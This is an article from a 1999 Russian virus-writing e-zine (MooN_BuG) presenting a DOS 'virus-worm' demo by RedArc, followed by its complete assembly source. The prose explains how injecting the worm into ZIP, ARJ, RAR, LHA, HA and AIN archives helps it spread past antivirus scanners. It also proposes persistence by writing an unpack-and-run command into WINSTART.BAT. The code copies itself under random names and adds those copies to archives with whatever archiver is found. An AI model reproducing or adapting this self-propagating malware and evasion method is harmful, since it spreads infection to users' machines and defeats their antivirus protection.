[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 10, Apr 1999 file 00E
Вирус-червь Archive
by RedArc
Это не совсем вирус. Это просто демка того, как вирус может спокойно жить
и распространяться в условиях тотальной активности Sheriff'а.
Q: А что _полезное_ можно дописывать в архивы?
Q: И для чего можно применить дозапись в архивы?
Хм... Hу как же, как же.
1. Если виpус записался (дописался) в аpхив, то у него есть шанс, что
используемые на этом компе антивиpусы не обpабатывают этот тип аpхива
(напpимеp аpхивы AIN) и чеpез некотоpое вpемя этот аpхив будет pазаpхивиpован
и инфициpованный файл/дpозофила будет запущен юзеpом и виpус получит новую
жизнь.
2. Чаще всего с компа на комп копиpуют именно аpхивы. Стало быть у виpуса
есть шанс, что аpхив, в котоpый он допишется, будет пеpедан на дpугой комп и
там pазаpхивиpован, а его (аpхива) содеpжимое будет запущено на исполнение.
3. Уменьшение свободного пpостpанства на диске юзеpа. Своеобpазная
дестpукция ;)
А еще можно сделать напpимеp так:
1. Виpус пакует себя в аpхив со случайным именем файла попавшимся по PATH
аpхиватоpом со случайным паpолем и случайным методом паковки.
2. Создаем новый или модифициpуем попавшийся в текущем каталоге BAT-файл.
А именно, записываем в него команды:
PKUNZIP -sPASSWORD VIRUS.ZIP > NIL
VIRUS.EXE
@DEL VIRUS.EXE > NIL
И антивиpусы-сканеpы, типа DrWeb, будут спокойны и виpус жить будет. Hу
если дописываемся в существующий пакетный файл, то это понятно,
инфициpование пакетных файлов. А вот создание нового пакетного файла можно
пpиуpочить к созданию (модифициpованию) в каталоге \WINDOWS файла
WINSTART.BAT и записи в него команды
CALL VIRUS.BAT
После чего виpус будет запущен навеpняка пpи каждом стаpте фоpточек, а
"умные" антивиpусы-сканеpы не смогут найти источник заpажения. А виpус...
виpус может не только аpхивы заpажать, но и файлы и память и пеpедавать свои
копии по Internet или UUCP... Так что вот так...
И пpи этом виpус будет получать упpавление pаньше, чем VxD того же
Sheriff'а со всеми вытекающими отсюда последствиями ;)
=== Cut === Archive.asm
Model Tiny
.486
.code
org 100h
start:
mov ax,3510h
int 21h
mov _bx,bx
mov _es,es
lea dx,MyInt10h
mov ax,2510h
int 21h
push cs
pop ds
mov ah,62h
int 21h
mov es,bx
mov ax,word ptr es:[2ch]
mov es,ax
xor ax,ax
mov di,8
@0:
mov al,byte ptr es:[di]
mov Pfad[di-8],al
inc di
cmp al,0
jne @0
push cs
pop es
mov bp,0
mov Flag,bp
FindFile:
mov ax,bp
call CaseExt
mov ah,4eh
xor cx,cx
Interrupt:
int 21h
jnb AddFile
inc bp
cmp bp,6
jne FindFile
jmp short RandomAdd
AddFile:
mov Flag,1
mov si,9eh
lea di,archivename
call ReplaceFileName
call RandomMyFile
lea di,filename
lea si,subprocname
call ReplaceFileName
lea di,subprocname
lea si,filename
call ReplaceFileName
mov ax,bp
call CaseArchive
call MoveArcCommand
call ArcCommand
call ExecCommand
call EraseFile
mov ah,4fh
jmp short Interrupt
RandomAdd:
mov ax,Flag
cmp ax,0
jne Exit
call RandomArchive
call CaseArc
call MoveArcCommand
call ArcCommand
call ExecCommand
call EraseFile
Exit:
mov dx,_bx
mov ax,_es
mov ds,ax
mov ax,2510h
int 21h
push cs
pop ds
int 20h
MyInt10h:
iret
include subrout1.inc
include subrout2.inc
include subrout3.inc
include daten.inc
MYLENGTH equ $-start
MainBuff label byte
end start
=== Cut ===
=== Cut === subrout1.inc
; БИБЛИОТЕКА ПОДПРОГРАММ
;-----------------------------------------------------------------------------
;Intro: Выполнить внешнюю программу
;Input: DS:DX - имя программы
; ES:BX - блок параметров для запуска подпроцесса
; CS:DI - место для хранения переменных в формате dd
;Output: AX - код ошибки, если установлен CF
;Destroy: все регистры
Exec:
mov ax,4b00h
push ds es
mov word ptr cs:[di],ss
mov word ptr cs:[di+2],sp
mov DI_SAVE,di
int 21h
mov di,DI_SAVE
cli
mov sp,cs:[di+2]
mov ss,cs:[di]
sti
pop es ds
mov dx,80h
mov ah,1ah
int 21h
ret
DI_SAVE dw ?
;-----------------------------------------------------------------------------
;Intro: Изменение блока доступной памяти
;Input: AX - оставляемый размер стека
; ES - распределяемый блок
; BX - желаемый размер блока
;Output: AX - код ошибки, если установлен CF
;Destroy: DI
Memory:
pop di
mov sp,ax
mov ah,4ah
int 21h
jmp di
;-----------------------------------------------------------------------------
;Intro: Подготовка блока параметров для запуска
;Input: DS:DI - блок параметров
;Output: none
;Destroy: none
MakeEPB:
mov word ptr ds:[di+4],es
mov word ptr ds:[di+8],es
mov word ptr ds:[di+12],es
ret
;-----------------------------------------------------------------------------
;Input: ah - range
;Output: ah - rnd
RND_Tabelle:
mov al,ah
in al,40h
cmp al,ah
jnc RND_Tabelle
xchg ah,al
ret
;-----------------------------------------------------------------------------
ExecCommand:
; исполнение программы
pop di
mov ExecTemp,di
mov ax,800h
mov bx,800h
call Memory
jc EndStart
lea di,EPB
call MakeEPB
lea di,_stack
lea dx,Pfad
lea bx,EPB
call Exec
EndStart:
mov bx,0ffffh
EStart:
mov ax,0fffeh
call Memory
jc EStart
mov di,ExecTemp
jmp di
;-----------------------------------------------------------------------------
=== Cut ===
=== Cut === subrout2.inc
; БИБЛИОТЕКА ПОДПРОГРАММ
;-----------------------------------------------------------------------------
EraseFile:
mov ah,41h
lea dx,subprocname
int 21h
ret
;-----------------------------------------------------------------------------
CreateFile:
mov ah,3ch
xor cx,cx
int 21h
xchg bx,ax
ret
;-----------------------------------------------------------------------------
OpenFile:
mov ax,3d02h
int 21h
xchg bx,ax
ret
;-----------------------------------------------------------------------------
MoveHandle2End:
mov ax,4200h
cwd
mov cx,ProgLength
xchg cx,dx
int 21h
ret
;-----------------------------------------------------------------------------
Write2File:
mov ah,40h
int 21h
ret
;-----------------------------------------------------------------------------
ReadFromFile:
mov ah,3fh
lea dx,MainBuff
mov cx,MyLength
int 21h
ret
;-----------------------------------------------------------------------------
CloseFile:
mov al,01h
mov cx,word ptr ds:[96h]
mov dx,word ptr ds:[98h]
call DataTimeFile
mov ah,3eh
int 21h
ret
;-----------------------------------------------------------------------------
SetFileAttr:
mov ax,4301h
int 21h
ret
;-----------------------------------------------------------------------------
DataTimeFile:
mov ah,57h
int 21h
ret
;-----------------------------------------------------------------------------
XorBuff:
mov di,dx
mov si,dx
push cx
XB:
lodsb
xor al,ah
add al,cl
stosb
loop XB
pop cx
ret
;-----------------------------------------------------------------------------
XorBuff1:
mov di,dx
mov si,dx
push cx
XB1:
lodsb
sub al,cl
xor al,ah
stosb
loop XB1
pop cx
ret
;-----------------------------------------------------------------------------
=== Cut ===
=== Cut === subrout3.inc
; БИБЛИОТЕКА ПОДПРОГРАММ
;-----------------------------------------------------------------------------
;Input: none
;Output: none
;Destroy: AX, CX, SI, DI
ArcCommand:
call MoveArchiveName
call MoveFileName
call MoveParam
ret
;-----------------------------------------------------------------------------
;Input: SI - Archive command
;Output: none
;Destroy: AX, CX, SI, DI
MoveArcCommand:
lea di,ARC_Name
mov cx,5
_MAC1:
lodsb
stosb
loop _MAC1
ret
;-----------------------------------------------------------------------------
;Input: none
;Output: none
;Destroy: AX, SI, DI
MoveArchiveName:
lea si,archivename
lea di,ARC_Para
_MAN0:
lodsb
cmp al,'.'
je _MAN1
stosb
jmp short _MAN0
_MAN1:
mov al,020h
stosb
ret
;-----------------------------------------------------------------------------
;Input: none
;Output: none
;Destroy: AX, SI, DI
MoveFileName:
lea si,filename
lea di,ARC_Para
xor ax,ax
add di,9
_MFN0:
lodsb
cmp al,ah
jne _MFN1
mov al,020h
_MFN1:
stosb
cmp al,020h
jne _MFN0
call ZerroParam
ret
;-----------------------------------------------------------------------------
;Input: none
;Output: none
;Destroy: AX, CX, SI, DI
MoveParam:
xor ax,ax
mov cx,ax
lea si,ARC_Exec
mov di,81h
mov al,20h
stosb
MP1:
lodsb
stosb
inc cl
cmp al,ah
jne MP1
dec cl
mov byte ptr ds:[80h],cl
ret
;-----------------------------------------------------------------------------
;Input: SI - begin block
;Output: none
;Destroy: AX, SI, DI
ZerroParam:
mov si,di
_ZP0:
lodsb
cmp al,'>'
je _ZP1
mov al,020h
stosb
jmp short _ZP0
_ZP1:
ret
;-----------------------------------------------------------------------------
;Input: none
;Output: none
CaseArc:
mov ah,6
call RND_Tabelle
xchg ah,al
jmp CaseArchive
;-----------------------------------------------------------------------------
RandomName:
mov cx,8
lea si,subprocname
_RN1:
mov ah,26
call RND_Tabelle
add ah,65
push si
add si,cx
mov byte ptr ds:[si-1],ah
pop si
loop _RN1
add si,8
mov byte ptr ds:[si],'.'
mov byte ptr ds:[si+1],'c'
mov byte ptr ds:[si+2],'o'
mov byte ptr ds:[si+3],'m'
ret
;-----------------------------------------------------------------------------
ReplaceFileName:
lodsb
stosb
cmp al,0
jne ReplaceFileName
ret
;-----------------------------------------------------------------------------
RandomMyFile:
call RandomName
lea dx,subprocname
call CreateFile
mov dx,100h
mov cx,MYLENGTH
call Write2File
call CloseFile
ret
;-----------------------------------------------------------------------------
RandomArchive:
call RandomMyFile
lea di,filename
lea si,subprocname
call ReplaceFileName
call RandomName
lea di,archivename
lea si,subprocname
call ReplaceFileName
lea di,subprocname
lea si,filename
call ReplaceFileName
ret
;-----------------------------------------------------------------------------
CaseArchive:
cmp al,0
jne _CA1
lea si,ARJ_Exec
ret
_CA1:
cmp al,1
jne _CA2
lea si,RAR_Exec
ret
_CA2:
cmp al,2
jne _CA3
lea si,AIN_Exec
ret
_CA3:
cmp al,3
jne _CA4
lea si,LHA_Exec
ret
_CA4:
cmp al,4
jne _CA5
lea si,ZIP_Exec
ret
_CA5:
lea si,HA_Exec
ret
;-----------------------------------------------------------------------------
CaseExt:
cmp al,0
jne __CA1
lea dx,ARJ_Mask
ret
__CA1:
cmp al,1
jne __CA2
lea dx,RAR_Mask
ret
__CA2:
cmp al,2
jne __CA3
lea dx,AIN_Mask
ret
__CA3:
cmp al,3
jne __CA4
lea dx,LHA_Mask
ret
__CA4:
cmp al,4
jne __CA5
lea dx,ZIP_Mask
ret
__CA5:
lea dx,HA_Mask
ret
;-----------------------------------------------------------------------------
=== Cut ===
=== Cut === daten.inc
;-----------------------------------------------------------------------------
_es dw 00h
_bx dw 00h
Flag dw 00h
archivename db 12 dup (?),0h
filename db 12 dup (?),0h
ARJ_Exec db 'arj',020h,'a'
RAR_Exec db 'rar',020h,'a'
AIN_Exec db 'ain',020h,'a'
LHA_Exec db 'lha',020h,'a'
HA_Exec db 'ha',020h,020h,'a'
ZIP_Exec db 'pkzip'
;---
ARC_Exec db '/','c',020h
ARC_Name db 6 dup (020h)
ARC_Para db 22 dup (020h)
ARC_Ende db '>','n','u','l',0dh,00h
;---
ARJ_Mask db '*.arj',0h
RAR_Mask db '*.rar',0h
AIN_Mask db '*.ain',0h
LHA_Mask db '*.lzh',0h
HA_Mask db '*.ha',0h
ZIP_Mask db '*.zip',0h
;-----------------------------------------------------------------------------
; имя программы для запуска
subprocname db 12 dup (?)
db 0h
ProgLength dw ?
;-----------------------------------------------------------------------------
; блок параметров exec
EPB label byte
_seg dw 00h
dw 80h
_segCMD dw 00h
dw 5ch
_segFCB1 dw 00h
dw 6ch
_segFCB2 dw 00h
;-----------------------------------------------------------------------------
; внутренний стек
_stack dw 00h
_stackp dw 00h
;-----------------------------------------------------------------------------
Tempw dw ?
Temp dd ?
ExecTemp dw ?
Pfad label byte
=== Cut ===